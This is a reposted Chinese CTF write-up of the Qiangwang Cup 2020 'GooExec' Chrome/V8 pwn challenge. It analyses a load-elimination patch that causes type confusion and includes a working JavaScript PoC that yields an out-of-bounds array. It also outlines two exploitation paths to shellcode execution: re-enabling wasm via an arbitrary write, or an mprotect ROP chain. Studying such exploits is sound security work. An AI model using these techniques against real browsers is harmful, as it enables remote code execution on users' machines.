强网杯2020-GooExec chrome pwn分析及两种利用思路

  • A+
所属分类:逆向工程

更多全球网络安全资讯尽在邑安全

前言

环境搭建

题目环境: ubuntu 20.04

启动命令:

./chrome --js-flags=--noexpose_wasm --no-sandbox

--js-flags=--noexpose_wasm 用于关闭wasm,意味着不能使用wasm来填写shellcode进行利用,但可以通过漏洞利用一进行绕过

--no-sandbox 关闭沙箱

题目下载地址:

https://github.com/De4dCr0w/Browser-pwn/blob/master/Vulnerability%20analyze/qwb2020-final-GOOexec%20%26%20Issue-799263/file.7z

基础知识

v8各个类型的转化
PACKED_SMI_ELEMENTS:小整数,又称 Smi。

PACKED_DOUBLE_ELEMENTS: 双精度浮点数,浮点数和不能表示为 Smi 的整数。

PACKED_ELEMENTS:常规元素,不能表示为 Smi 或双精度的值。

转化关系如下:

强网杯2020-GooExec chrome pwn分析及两种利用思路

元素种类转换只能从一个方向进行:从特定的(例如 PACKED_SMI_ELEMENTS)到更一般的(例如 PACKED_ELEMENTS)。例如,一旦数组被标记为 PACKED_ELEMENTS,它就不能回到 PACKED_DOUBLE_ELEMENTS。

demo 代码:

const array = [1, 2, 3];
// elements kind: PACKED_SMI_ELEMENTS
array.push(4.56);
// elements kind: PACKED_DOUBLE_ELEMENTS
array.push('x');
// elements kind: PACKED_ELEMENTS

PACKED 转化到 HOLEY类型:

demo代码:

const array = [1, 2, 3, 4.56, 'x'];
// elements kind: PACKED_ELEMENTS
array.length; // 5
array[9] = 1; // array[5] until array[8] are now holes
// elements kind: HOLEY_ELEMENTS

即将密集数组转化到稀疏数组。

漏洞分析

该题目的漏洞和Issue 799263一样,引入漏洞的补丁为:

diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
- AliasStateInfo alias_info(state, object, source_map);
- state = state->KillMaps(alias_info, zone());
+ // AliasStateInfo alias_info(state, object, source_map);
+ // state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
if (state->LookupMaps(object, &object_maps)) {
object_maps.insert(double_map, zone());
object_maps.insert(fast_map, zone());
- state = state->KillMaps(object, zone());
+ // state = state->KillMaps(object, zone());
state = state->SetMaps(object, object_maps, zone());
}
// Kill the elements as well.

该补丁主要是将state = state->KillMaps(alias_info, zone()) 这行代码删除了,少了对alias 对象map 的消除。

state->KillMaps函数定义如下:

LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
const AliasStateInfo& alias_info, Zone* zone) const {
if (this->maps_) {
AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);
// 本质上就是调用maps_的Kill函数
if (this->maps_ != that_maps) {
AbstractState* that = zone->New<AbstractState>(*this);
that->maps_ = that_maps;
return that; // 如果不一样才返回一个新的
}
}
return this;
}

LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
Node* object, Zone* zone) const {
AliasStateInfo alias_info(this, object);
return KillMaps(alias_info, zone);
}
LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill(
const AliasStateInfo& alias_info, Zone* zone) const {
for (auto pair : this->info_for_node_) {
if (alias_info.MayAlias(pair.first)) { // if one of nodes may alias
AbstractMaps* that = zone->New<AbstractMaps>(zone);
for (auto pair : this->info_for_node_) {
if (!alias_info.MayAlias(pair.first)) that->info_for_node_.insert(pair);
} // keep all except the ones that may alias
return that;
}
}
return this;
}

MayAlias用于比较两个节点是否为同一个对象,如果是不同对象,就返回false,就会执行that->info_fornode.insert。

去除KillMaps会导致本应该没有map信息的一些node仍保留着信息,如ReduceCheckMaps函数,残留着map信息,maps.contains返回true,通过Replace错误地删除CheckMaps:

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
// 假如object_maps的Map信息并不完整,可能导致maps.contains错误地返回true
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect);
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}

节点a和b可能是同一对象,在节点a发生优化,类型转化后,b节点由于没有KillMaps操作,删除了节点前的CheckMaps,导致访问b时是按照原先的类型来访问优化后的类型,形成类型混淆漏洞。

Poc代码如下:

function foo(a, b) {
let tmp = {};
b[0] = 0;
a.length;
for(let i=0; i<a.length; i++){
a[i] = tmp;
}
let o = [1.1];
b[15] = 4.063e-320;
return o;
}
let arr_addr_of = new Array(1);
arr_addr_of[0] = 'a';

for(let i=0; i<10000; i++) {
eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}

var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_array = foo(float_arr, float_arr, {});
console.log(oob_array.length);

poc 代码中a[0]=0 在运行的过程中会传入arr_addr_of <Map(HOLEY_ELEMENTS)> 和tmp_arr <Map(PACKED_DOUBLE_ELEMENTS)> ,在优化编译时,如果对象是浮点数组的话会将它转化成对象数组 <Map(HOLEY_ELEMENTS)>,导致在该代码处会生成TransitionElementsKind 结点,将对象a从浮点数组转换成对象数组。

所以漏洞触发后,数组b转化成了对象数组,而访问还是按照浮点数组类型来访问,而因为指针压缩的缘故,浮点数组转换成对象数组后,长度会缩短一半,这样计算偏移就能精准覆盖到后面数组o的长度,让数组o成为能够越界读写的数组。

触发漏洞后的调试结果:

DebugPrint: 0x8f5082af509: [JSArray]  // 数组b
- map: 0x08f508243975 <Map(HOLEY_ELEMENTS)> [FastProperties] // 已经从浮点数组类型变成对象数组类型
- prototype: 0x08f50820b529 <JSArray[0]>
- elements: 0x08f5082af535 <FixedArray[23]> [HOLEY_ELEMENTS]
- length: 23
- properties: 0x08f5080426dd <FixedArray[0]> {
0x8f508044649: [String] in ReadOnlySpace: #length: 0x08f508182159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x08f5082af535 <FixedArray[23]> {
0-22: 0x08f5082af519 <Object map = 0x8f5082422cd>
}

pwndbg> job 0x08f5082af535
0x8f5082af535: [FixedArray]
- map: 0x08f5080424a5 <Map>
- length: 23
0-22: 0x08f5082af519 <Object map = 0x8f5082422cd>

pwndbg> x/10gx 0x08f5082af535-1
0x8f5082af534: 0x0000002e080424a5 0x082af519082af519
0x8f5082af544: 0x082af519082af519 0x082af519082af519
0x8f5082af554: 0x082af519082af519 0x082af519082af519
0x8f5082af564: 0x082af519082af519 0x082af519082af519
0x8f5082af574: 0x082af519082af519 0x082af519082af519
pwndbg>
0x8f5082af584: 0x082af519082af519 0x082af519082af519
0x8f5082af594: 0x08042a31082af519 0x9999999a00000002
0x8f5082af5a4: 0x082438fd3ff19999 0x082af599080426dd
0x8f5082af5b4: 0x0000000000002020* 0x0804232908042329 // <----b[15] 覆盖到o.length
0x8f5082af5c4: 0x08042a3108042329 0x9999999a00000002

漏洞利用

利用漏洞可以越界读写,在越界读写后面布置float类型的数组,越界修改float数组的length,此时float数组就可以进行越界读写,根据data_buf的大小查找data_buf->backing_store,用于构造任意读写原语。常规思路是利用wasm,但本题通过--js-flags=--noexpose_wasm关闭了wasm 功能,造成一定困难,下面是进行利用的两种思路:

漏洞利用一

首先通过obj.constructor->code->text_addr (Builtins_ArrayConstructor函数地址) 泄露v8 elf的基地址,然后通过IDA查找"FLAG_expose_wasm"特征字符,找到偏移,得到.data 区"FLAG_expose_wasm"变量的地址,将其修改成true,重新开启wasm功能,后面就可以利用wasm的常规思路:根据mark查找wasm_function对象的地址,根据wasm_function–>shared_info–>WasmExportedFunctionData(data)–>instance+0x68 找到rwx的区域,将shellcode写入该区域即可。

这里有以下几点需要注意:

(1)chrome运行时会起很多进程,并不是第一个进程就是运行v8,得通过查找才能确认v8 运行在哪个进程,具体查找方法可以通过逐个附加到进程中查看泄露地址的内容,能识别地址,说明该进程是。笔者环境中调试发现都在第三个进程,并且是在libv8.so中,所以后续找got表和rop偏移都需要在libv8.so查找。准确来说利用泄露的text_addr 计算出来的基址是libv8.so的基址。

查看chrome进程:

强网杯2020-GooExec chrome pwn分析及两种利用思路

(2)chrome运行后会在后面新起几个进程中关闭FLAG_expose_wasm(置零),而之前调试的第三个进程libv8.so中查看FLAG_expose_wasm还是true。但这些影响不大,主要调试的时候突然困惑,我们需要做的就是将FLAG_expose_wasm变量地址上填1。

arb_write64(FLAG_expose_wasm, 0x1n);

开启wasm后,也只是修改该进程的FLAG_expose_wasm,另外开标签页运行exp时wasm还是关闭的(会重新起新进程,新进程中的FLAG_expose_wasm未被修改)。所以我们需要开始wasm后,在同一个标签页运行利用wasm的exp。

所以这里一共有两个exp html,一个开启wasm,一个利用wasm。

运行exp-FLAG_expose_wasm.html

强网杯2020-GooExec chrome pwn分析及两种利用思路

同一个标签运行exp-FLAG_expose_wasm1.html

强网杯2020-GooExec chrome pwn分析及两种利用思路

漏洞利用二

通过前面的漏洞利用我们可以libc的基址,按道理就可以找到free和system地址,将free替换成system,完成利用,但该题环境中的free函数是libcbase.so里的,释放数据时不是调用该free函数。因此这里学到一种方法,将shellcode放置在堆上的一段区域,然后通过在栈里布置rop链,用mprotect函数来修改这段区域属性为rwx,并跳转到该区域执行shellcode。

(1)获取栈地址

之前的利用可以泄露出libc的基址(通过泄露printf .got表上填充的printf函数地址,再减去libc中printf的偏移)(/usr/lib/x86_64-linux-gnu/libc-2.31.so),查找变量environ的偏移,得到environ变量的地址,上面保存着栈的地址。

(2)在栈里面布置rop链

add rsp 0x78; pop rbx; pop rbp; ret
add rsp 0x78; pop rbx; pop rbp; ret
……
ret
ret
……
ret
pop rdi; ret
shellcode_addr
pop rsi; ret
0x1000n
pop rdx; ret
0x7n
mprotect_addr
shellcode_addr

在前面布置add rsp 0x78; pop rbx; pop rbp; ret是因为栈里有些数据在运行过程中会被覆盖,要跳过这些数据才能一直ret到执行mprotect函数,最后执行shellcode。

int mprotect(void *addr, size_t len, int prot);

这里有以下问题需要注意:

(1)在栈里布置的rop,调试时在第三个进程libv8.so 中并没有看到,发现chrome也是会起几个新进程来执行js,在第一个有--no-v8-untrusted-code-mitigations 标志的进程找到栈里的rop。也可以先开启wasm ,创建wasm 对象,然后查看哪个chrome 的进程里包含rwxp 内存,以此可以确定js 运行的进程是哪个。

查看chrome进程:

强网杯2020-GooExec chrome pwn分析及两种利用思路

运行exp.html效果图:

强网杯2020-GooExec chrome pwn分析及两种利用思路

原文来自:先知社区

原文链接:https://xz.aliyun.com/t/8427

欢迎收藏并分享朋友圈,让五邑人网络更安全

强网杯2020-GooExec chrome pwn分析及两种利用思路

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



本文始发于微信公众号(邑安全):强网杯2020-GooExec chrome pwn分析及两种利用思路

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: